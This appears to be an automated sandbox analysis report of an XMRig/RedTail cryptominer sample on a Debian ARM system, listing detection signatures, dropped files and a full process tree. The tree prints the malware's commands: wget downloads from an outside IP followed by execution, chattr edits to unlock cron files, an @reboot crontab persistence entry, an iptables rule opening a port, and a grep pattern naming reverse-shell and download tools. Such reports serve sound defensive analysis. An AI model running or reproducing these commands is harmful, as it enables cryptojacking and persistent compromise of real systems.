Analysis

  • max time kernel
    116s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/12/2024, 12:37

General

  • Target
    97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
  • Size 1KB
  • Sample241202-pth4vsyqhm
  • SHA256 de96a56c5508bb69c20f171a141263ebed92823eb3249dccb9db1ff350b37b31
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (202362) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • XMRig Miner payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Attempts to change immutable files 24 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads network interface configuration 2 TTPs 6 IoCs

    Fetches information about one or more active network interfaces.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 27 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
    /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
    1⤵
      PID:668
      • /bin/grep
        grep noexec
        2⤵
          PID:673
        • /bin/cat
          cat /proc/mounts
          2⤵
            PID:672
          • /usr/bin/awk
            awk "{print \$2}"
            2⤵
              PID:675
            • /usr/bin/whoami
              whoami
              2⤵
                PID:684
              • /usr/bin/find
                find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"
                2⤵
                • Reads network interface configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:687
              • /bin/uname
                uname -mp
                2⤵
                  PID:793
                • /usr/bin/touch
                  touch .testfile
                  2⤵
                    PID:794
                  • /bin/dd
                    dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                    2⤵
                      PID:796
                    • /bin/rm
                      rm -rf .testfile .testfile2
                      2⤵
                        PID:797
                      • /usr/bin/wget
                        wget http://94.156.177.109/clean
                        2⤵
                          PID:798
                        • /bin/chmod
                          chmod +x clean
                          2⤵
                          • File and Directory Permissions Modification
                          PID:799
                        • /bin/sh
                          sh clean
                          2⤵
                          • Writes file to tmp directory
                          PID:800
                          • /bin/systemctl
                            systemctl disable c3pool_miner
                            3⤵
                              PID:801
                            • /bin/systemctl
                              systemctl stop c3pool_miner
                              3⤵
                                PID:802
                              • /usr/bin/chattr
                                chattr -ia /var/spool/cron/crontabs
                                3⤵
                                • Attempts to change immutable files
                                PID:803
                              • /usr/bin/chattr
                                chattr -ia /etc/crontab
                                3⤵
                                • Attempts to change immutable files
                                PID:804
                              • /bin/grep
                                grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                3⤵
                                • Attempts to change immutable files
                                PID:805
                              • /bin/mv
                                mv /tmp/clean_crontab /etc/crontab
                                3⤵
                                  PID:806
                                • /usr/bin/chattr
                                  chattr -ia /etc/cron.hourly
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:807
                                • /usr/bin/chattr
                                  chattr -ia /etc/cron.daily
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:808
                                • /usr/bin/chattr
                                  chattr -ia /etc/cron.daily/apt-compat
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:809
                                • /bin/grep
                                  grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                  3⤵
                                  • Attempts to change immutable files
                                  PID:810
                                • /bin/mv
                                  mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                  3⤵
                                    PID:811
                                  • /usr/bin/chattr
                                    chattr -ia /etc/cron.daily/bsdmainutils
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:812
                                  • /bin/grep
                                    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                    3⤵
                                    • Attempts to change immutable files
                                    PID:813
                                  • /bin/mv
                                    mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                    3⤵
                                      PID:814
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/dpkg
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:815
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:816
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                      3⤵
                                        PID:817
                                      • /usr/bin/chattr
                                        chattr -ia /etc/cron.daily/exim4-base
                                        3⤵
                                        • Attempts to change immutable files
                                        PID:818
                                      • /bin/grep
                                        grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                        3⤵
                                        • Attempts to change immutable files
                                        PID:819
                                      • /bin/mv
                                        mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                        3⤵
                                          PID:820
                                        • /usr/bin/chattr
                                          chattr -ia /etc/cron.daily/logrotate
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:821
                                        • /bin/grep
                                          grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                          3⤵
                                          • Attempts to change immutable files
                                          PID:822
                                        • /bin/mv
                                          mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                          3⤵
                                            PID:823
                                          • /usr/bin/chattr
                                            chattr -ia /etc/cron.daily/passwd
                                            3⤵
                                            • Attempts to change immutable files
                                            PID:824
                                          • /bin/grep
                                            grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                            3⤵
                                            • Attempts to change immutable files
                                            PID:825
                                          • /bin/mv
                                            mv /tmp/clean_crontab /etc/cron.daily/passwd
                                            3⤵
                                              PID:826
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.weekly
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:827
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.monthly
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:828
                                            • /usr/bin/chattr
                                              chattr -ia /etc/cron.d
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:829
                                            • /usr/bin/chattr
                                              chattr -ia /etc/anacrontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:830
                                            • /bin/grep
                                              grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                              3⤵
                                              • Attempts to change immutable files
                                              PID:831
                                            • /bin/mv
                                              mv /tmp/clean_crontab /etc/anacrontab
                                              3⤵
                                                PID:832
                                              • /bin/rm
                                                rm -rf /tmp/97YXQ8FQLTSZTD482Y1DATVGCRK4JZ0E5L9EYRVRJU0HQE7UV7
                                                3⤵
                                                  PID:833
                                                • /bin/rm
                                                  rm -rf "/var/tmp/*"
                                                  3⤵
                                                    PID:834
                                                  • /bin/rm
                                                    rm -rf "/dev/shm/*"
                                                    3⤵
                                                      PID:835
                                                  • /bin/rm
                                                    rm -rf clean
                                                    2⤵
                                                      PID:836
                                                    • /bin/rm
                                                      rm -rf .redtail
                                                      2⤵
                                                        PID:837
                                                      • /bin/grep
                                                        grep -q x86_64
                                                        2⤵
                                                          PID:839
                                                        • /bin/grep
                                                          grep -q amd64
                                                          2⤵
                                                            PID:841
                                                          • /bin/grep
                                                            grep -q "i[3456]86"
                                                            2⤵
                                                              PID:843
                                                            • /bin/grep
                                                              grep -q armv8
                                                              2⤵
                                                                PID:845
                                                              • /bin/grep
                                                                grep -q aarch64
                                                                2⤵
                                                                  PID:847
                                                                • /bin/grep
                                                                  grep -q armv7
                                                                  2⤵
                                                                    PID:849
                                                                  • /usr/bin/wget
                                                                    wget http://94.156.177.109/arm7
                                                                    2⤵
                                                                      PID:850
                                                                    • /bin/mv
                                                                      mv arm7 .redtail
                                                                      2⤵
                                                                        PID:853
                                                                      • /bin/chmod
                                                                        chmod +x .redtail
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:854
                                                                      • /.redtail
                                                                        ./.redtail
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        • Changes its process name
                                                                        • Checks CPU configuration
                                                                        • Reads CPU attributes
                                                                        • Reads runtime system information
                                                                        PID:855
                                                                        • /bin/sh
                                                                          sh -c "command -v crontab >/dev/null 2>&1"
                                                                          3⤵
                                                                            PID:857
                                                                          • /bin/sh
                                                                            sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.redtail\" | crontab -"
                                                                            3⤵
                                                                              PID:858
                                                                              • /usr/bin/crontab
                                                                                crontab -r
                                                                                4⤵
                                                                                  PID:859
                                                                                • /usr/bin/crontab
                                                                                  crontab -
                                                                                  4⤵
                                                                                  • Creates/modifies Cron job
                                                                                  PID:861
                                                                              • /bin/sh
                                                                                sh -c "command -v php >/dev/null 2>&1"
                                                                                3⤵
                                                                                  PID:862
                                                                                • /bin/sh
                                                                                  sh -c "command -v nginx >/dev/null 2>&1"
                                                                                  3⤵
                                                                                    PID:863
                                                                                  • /bin/sh
                                                                                    sh -c "which apache2"
                                                                                    3⤵
                                                                                      PID:864
                                                                                      • /usr/bin/which
                                                                                        which apache2
                                                                                        4⤵
                                                                                          PID:865
                                                                                      • /bin/sh
                                                                                        sh -c "which httpd"
                                                                                        3⤵
                                                                                          PID:866
                                                                                          • /usr/bin/which
                                                                                            which httpd
                                                                                            4⤵
                                                                                              PID:867
                                                                                          • /bin/sh
                                                                                            sh -c "iptables -I INPUT -p tcp --dport 37195 -j ACCEPT >/dev/null 2>&1"
                                                                                            3⤵
                                                                                            • Attempts to change immutable files
                                                                                            PID:869
                                                                                            • /sbin/iptables
                                                                                              iptables -I INPUT -p tcp --dport 37195 -j ACCEPT
                                                                                              4⤵
                                                                                              • Attempts to change immutable files
                                                                                              PID:870

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            .testfile2

                                                                                            • Path /.testfile2
                                                                                            • Size 2.0MB
                                                                                            • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            arm7

                                                                                            • Path /arm7
                                                                                            • Size 1.1MB
                                                                                            • SHA256 d4635f0f5ab84af5e5194453dbf60eaebf6ec47d3675cb5044e5746fb48bd4b4
                                                                                            • MD5 SHA1 SHA512 SSDEEP

                                                                                            clean

                                                                                            • Path /clean
                                                                                            • Size 795B
                                                                                            • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 1KB
                                                                                            • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 3KB
                                                                                            • SHA256 2565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 249B
                                                                                            • SHA256 777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 722B
                                                                                            • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 1KB
                                                                                            • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                                            • MD5 SHA1 SHA512

                                                                                            clean_crontab

                                                                                            • Path /tmp/clean_crontab
                                                                                            • Size 279B
                                                                                            • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                                            • MD5 SHA1 SHA512

                                                                                            tmp.KEp62g

                                                                                            • Path /var/spool/cron/crontabs/tmp.KEp62g
                                                                                            • Size 193B
                                                                                            • SHA256 4a53a3f61b28fe4f93fd763d77a8511083a62db7bc09364985d7ee2aa569b758
                                                                                            • MD5 SHA1 SHA512